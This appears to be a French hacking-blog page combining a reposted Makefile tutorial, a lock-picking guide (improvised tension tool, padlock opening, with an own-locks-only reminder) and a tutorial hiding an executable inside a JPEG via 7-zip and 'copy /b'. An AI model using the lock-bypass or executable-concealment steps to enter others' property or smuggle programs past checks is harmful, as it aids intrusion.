Une règle simple:

make utilise un ensemble de règles pour décider quelles commandes exécuter. Pour notre exemple:

Code:
hello.o : hello.c hello.h
=>   cc -c hello.c -o hello.o

Les 2 lignes précédentes signifient les choses suivantes:

o La flèche ( => ) indique la présence d’un tabulateur, ce qui est obligatoire avant chaque ligne de commande.
o Le fichier hello.o dépend des fichiers hello.c et hello.h .
o La date de création des fichiers permet de savoir si une dépendance est satisfaite.
o La commande cc -c hello.c -o hello.o permet de satisfaire la dépendance.

Autrement dit : Si le fichier hello.c ou hello.h est plus récent que hello.o, exécuter la commande cc -c hello.c -o hello.o . Après l’exécution de la commande, un nouveau fichier hello.o est généré et ce fichier sera plus récent que hello.c et que hello.h, ce qui fait que la dépendance sera satisfaite.

Makefile minimal:

Code:
hello : main.o hello.o
cc main.o hello.o -o hello

main.o : main.c hello.h
cc -c main.c -o main.o

hello.o : hello.c hello.h
cc -c hello.c -o hello.o

Pour savoir comment définir les dépendances, on peut voir quels fichiers sont inclus (#include “…”). Si hello.h est modifié, il faudra recompiler hello.c et main.c . Par contre, il n’y a pas besoin de s’occuper de stdio.h , ce fichier ne devant naturellement jamais être modifié.

Makefile plus portable:

L’un des grands avantages de make par rapport aux environnements de développement intégrés est la portabilité. �? quoi bon faire attention pour écrire du code portable si on utilise des outils propriétaires qui stockent les informations d’un projet dans des fichiers binaires totalement dépendants d’un environnement de développement et d’une plateforme ?

Code:
CC      = cc
CFLAGS  = -c
LD      = $(CC)
LDFLAGS =

hello : main.o hello.o
$(LD) $(LDFLAGS) main.o hello.o -o hello

main.o : main.c hello.h
$(CC) $(CFLAGS) main.c -o main.o

hello.o : hello.c hello.h
$(CC) $(CFLAGS) hello.c -o hello.o

clean:
rm *.o *~ *.bak

En utilisant des variables, on peut faciliter le portage d’un Makefile. Les noms des variables peuvent être choisis arbitrairement, mais certaines habitudes, comme l’utilisation de majuscules, augmentent la lisibilité.

Supposons qu’on veuille utiliser un meilleur compilateur, produire du code optimisé et activer les messages d’avertissement (warnings) : il suffit de redéfinir les variables CC et CFLAGS comme suit :

Code:
CC      = gcc
CFLAGS  = -c -Wall -O2

Il est aussi possible d’avoir des règles sans dépendance, comme la règle clean. Ainsi pour nettoyer le répertoire des objets compilés, il suffit d’entrer la commande :

Code:
make clean

Ceci peut être extrêmement pratique pour transporter des projets d’une machine à l’autre. Il n’y a alors besoin de copier que les sources et le Makefile sur une simple disquette. Pas besoin de copier des mega-octets de données binaires qui ne servent que pour l’environnement de développement intégré.

Programme multi-langage:

Un autre grand avantage de make est la possibilité d’utiliser plusieurs langages de programmation dans le même projet. Ceci évite de devoir réécrire du code.

La plupart des compilateurs produisent des fichiers objets standards sur un système. Ceci permet de lier des fichiers objet provenant de différents compilateurs.

Admettons qu’on veuille réutiliser le fichier procedures.pas qu’on a écrit en Pascal pendant l’adolescence. (Certains appellent cette période de la vie « l’age bête »&nbsp…)

Code:
PC      = pcomp
PFLAGS  = -nolink
CC      = cc
CFLAGS  = -c
LD      = $(CC)
LDFLAGS =

hello : main.o hello.o procedures.obj
$(LD) $(LDFLAGS) main.o hello.o -o hello

main.o : main.c hello.h
$(CC) $(CFLAGS) main.c -o main.o

hello.o : hello.c hello.h
$(CC) $(CFLAGS) hello.c -o hello.o

procedures.obj : procedures.pas
$(PC) $(PFLAGS) procedures.pas

clean:
rm *.o *.obj *~ *.bak

Pourquoi utiliser make plutôt que Visual * ou *Builder ?

Bien que les environnements de développement intégrés ont été beaucoup améliorés, on est encore très loin de disposer de toute la puissance et la flexibilité de make et de la ligne de commande.

Les avantages de make sont nombreux. :

o make existe partout.
o make facilite le portage d’applications.
o make est indépendant du language de programmation, du compilateur et de la plateforme.
o make permet d’exploiter plusieurs languages simultanément.
o make permet d’utiliser l’éditeur de texte qu’on veut.
o make s’apprend à utiliser une fois pour toute.
o make est gratuit ainsi que des compilateurs en ligne de commande, des éditeurs de texte, des dévermineurs (debugger), etc…
o make fonctionne sur des machines de très faible puissance et avec peu de mémoire. Selon mon expérience, cela doit être tout-à-fait utilisable sur un Amiga 500 à 7 Mhz avec 1 Mo de RAM et sans disque dur…
o make ne risque pas de disparaître. Avec un environnement de développement intégré, on est dépendant d’un fournisseur qui peut à tout moment décider de ne plus supporter un produit par manque de rentabilité.
o Les Makefiles seront toujours lisibles, puisqu’il s’agit de simple texte. Cela m’étonnerait beaucoup que les fichiers binaires d’un projet de Visual C++ soient utilisables dans 10 ans…
o make peut lancer plusieurs compilations en parallèle, minimisant l’attente due aux entrées-sorties et pouvant utiliser plusieurs processeurs à la fois. (GNU make)

Ne pas oublier la simplicité Smile

Avant de se lancer dans l’écriture d’un programme en C, il convient de vérifier qu’il n’y a pas un moyen plus simple de réaliser la fonction recherchée.

Dans notre cas, c’est nettement plus simple d’écrire un script shell. Il suffit de sauver le texte suivant dans le fichier hello.sh :

Code:
#!/bin/sh
echo Hello, world !

On l’exécute avec la commande :

Code:
./hello.sh

On voit immédiatement s’afficher le résultat suivant :

Code:
Hello, world !
$

Source: http://pburnand.isuisse.com/hello/hello.html

Pour la Liberté…

HackAngel

Voir le profil de l'utilisateur

Lock Picking

Monday, January 12th, 2009

Le Lock Picking !

Bonjour alors je vais vous initier au Lock Picking, c’est à dire aux crochetages de serrures ou du moins de cadenas.
Normalement à la fin de ce petit tutoriel vous saurez : Fabriquer un entraîneur, utiliser un trombone, épingle à nourrice, aiguilles…
et bien sûr ouvrir un cadenas sans la clef (voir des serrures pour les plus doués.)

I:/ La Théorie

Oh non pas de la théorie… Sad
Ben si il faut toujours commencer par la théorie mais ne vous inquiétez pas je vais pas en écrire des tonnes, loin de là !

Bon par où j’vais commencer ? Bien sûr c’est pas vous qu’y allez me le dire xD

Le cadenas : au niveau de la serrure du cadenas vous pouvez distinguer ce qu’on appelle des goupilles (voir image).

Vous voyez aussi que la clé possède des dents. Quand vous allez insérer la clé dans la serrure les goupilles vont se positionner suivant les dents de celle-ci (la clé). Une fois les goupilles abaissées vous pouvez ainsi tourner la clé qui va permettre l’ouverture du cadenas.

La serrure de la porte d’entrée : C’est en fait le même principe que le cadenas.( Mais attention certaines serrures sont protégés par des contre goupilles… qui rend très difficile le crochetage)

C’est bien beau mais comment on va faire nous pour ouvrir le cadenas ?

Voilà une bonne question qui mérite une “bonne” réponse Smile

Nous allons utiliser un “entraîneur” qui va exercer une tension sur la serrure et un trombone ou aiguilles ou épingle à nourrisse…

Mdr et c’est quoi une entraîneuse ? Et comment on le fabrique cette entraîneuse ?
C’est un entraîneur… Et justement la fabrication de l’entraîneur c’est… MAINTENANT Smile

II:/ Fabrication de “l’entraîneur”
alors y’a divers possibilités pour fabriquer sont entraîneurs :
1) vous pouvez utiliser le bout du capuchon métallique d’un stylo ( excusez-moi je ne sais pas comment cela s’appelle ) (voir image)
si vous n’en avez pas
vous pouvez toujours aller au magasin en acheter un ou bien passer à la 2e possibilité juste en dessous.
essayez de l’entrée (le “truc” entouré de rouge sur la photo) dans la serrure de votre cadenas s’il ne rentre pas tapez avec un marteau vous avez bien ça chez vous Smile
2) Vous n’avez pas de stylos avec un bout de capuchon métallique ? vous inquiétez pas je suis là Smile
alors je pense et j’espère que tout le monde à chez soi des couverts pour manger, subtilisez une fourchette ( c’est pas trop grave et pas très cher de gaspiller UNE fourchette ).
donc vous avez une fourchette dans la main. vous essayez de pétez les “piques” de la fourchette. (voir image 1)

ensuite vous tordez l’extrémité du “pique” qui appartenait à votre fourchette xD (voir image 2)

l’entraîneur étant fait ( oui c’est bien ce petit bout de métal plié).

Qu’est-ce que je fais moi maintenant ?
Ben vous continuez de lire Smile

III:/ La Pratique
RAPPEL : Vous devez pratiquez ce que je vous ai montré seulement sur vos cadenas/serrures qui vous appartiennent ! En aucun cas il ne faut l’utiliser sur d’autre serrures/cadenas/barillets que les vôtres sans l’autorisation de la personne concernée
Une fois l’entraîneur entre vos mains mettez le dans le cadenas (voir image)

mettez aussi l’aiguille ( je trouve que c’est mieux une aiguille car c’est fin, et solide) mais vous pouvez aussi faire avec un trombone…
(voir image)

ensuite exercé une tension sur l’entraîneur
et trifouillez avec l’aiguille Smile soyez patient. Sois ça vient tout de suite… Sois il faudra un peu d’entraînement.

IV:/ Conseils

Pour tenir le cadenas : vous le tenez dans la main droite les doigts refermer sur la partie en laiton du cadenas “le corps”
introduisez d’abord l’aiguille pour plus de facilité. Puis ensuite l’entraîneur.

V:/ Matériels
L’art du Lock Picking vous intéresse ? Vous n’arrivez pas à ouvrir les serrures que vous voulez ? Alors bienvenue dans cette V partie.
je vous présente des kits pour ouvrir les portes à acheter hxxp://www.magies.com/catalog.php?id=125053&codepro=pouce
remplacez hxxp par http ( pas de lien direct )
Voilà ! vous pouvez bien évidement trouver d’autre kit d’ouverture de portes Smile

FIN :
Voilà c’est la fin de ce petit tutoriel, j’espère qu’il vous a plu, critiques, commentaires ou remerciements sont bienvenues ( surtout les remerciements Laughing )

Démonstration de Stéganographie

Monday, January 12th, 2009

Qu’est-ce que c’est ?

La stéganographie, c’est l’art de dissimuler des données dans d’autres données. Il existe plusieurs techniques différentes qui permettent ce “tour de magie”.

La stéganographie existe depuis longtemps, bien avant l’invention de l’ordinateur.

1ère chose à faire c’est d’installer 7-zip (je n’ai pas essayé winrar mais d’après ce que je sais ça ne fonctionne pas à tout les coup avec winrar ou winzip)

vous le trouverez ici http://www.7-zip.org/fr/ il est gratuit
Après l’installation on démarre les choses sérieuses.

(Une version texte est disponible en fin de post Wink )

étape 1 : réunir les documents le plus près possible de la racine du disque dur (pour plus de simplicité)
exemple : vous créez un dossier dans C: (moi je l’ai appelé TUTO) et vous y mettez les documents necessaires.( ici la photo Anne.jpg conteneur et le .exe test.exe contenu )

Pour agrandir l’image faites clic droit dessus et cliquer sur afficher l’image

Ensuite ouvrez la console de commande windows en cliquant sur démarrer, éxecuter et dans la fenêtre qui s’ouvre vous tapez CMD et vous confirmez en cliquant OK.
puis vous allez vous placer à la racine de votre disque, pour cela vous entrez la commande cd\ ( attention c’est un antislash et non pas un slash qu’il faut mettre ça –> \ et non pas ça –> / pour taper un antislash, Ctrl + Alt + Cool

puis pour se positionner dans votre dossier crée précédemment vous entrez dans la console cd\TUTO (J’ai bien décomposé l’opération pour que les plus néophytes d’entres vous comprennent bien le principe. il aurait été bien plus court de taper cd\TUTO à la 1ère étape…)

Ensuite l’étape de camouflage à proprement dis, on va utiliser la commande COPY /B

Mais avant cette étape pour pouvoir récuperer le document caché il faudra l’archiver avec 7zip

Et enfin la commande pour cacher le fichier

évidemment reprenez les noms de vos fichiers

Une nouvelle image identique à la 1ère viens d’être crée seule la taille change.
votre fichier est bien à l’abri caché dans l’image.

Pour récupérer le document caché il faut ouvrir 7zip directement choisir la photo et cliquer sur extraire.

Voila bonne utilisation de cette technique amusez vous bien Razz Wink

version texte :

étape 1 : réunir les documents le plus près possible de la racine du disque dur (pour plus de simplicité)
exemple : vous créez un dossier dans C: (moi je l’ai appelé TUTO) et vous y mettez les documents nécessaires.( la photo XXX.jpg conteneur et le .exe)

étape 2 : ouvrez le CMD

étape 3 : placer vous dans le dossier que vous avez crée a la racine ( avec la commande cd\ )

étape 4 : compresser votre .exe avec 7-zip

étape 5 : dans le cmd, rentré la ligne de commande ci dessous

copy /b (lenomdevotreimage).jpg + (lenomdevotrearchive).7z (rennommercommevousvoulez).jpg

bien sur, quand vous tapez la commande enlever les ( et les ). Rolling Eyes

étape 6 : votre image en crée avec a l’intérieur l’archive (la taille de l’image est plus importante )

étape 7: pour récupéré votre archive, ouvrez la nouvelle photo avec 7-zip et choisissez extraire.

et voila, c’est fini Smile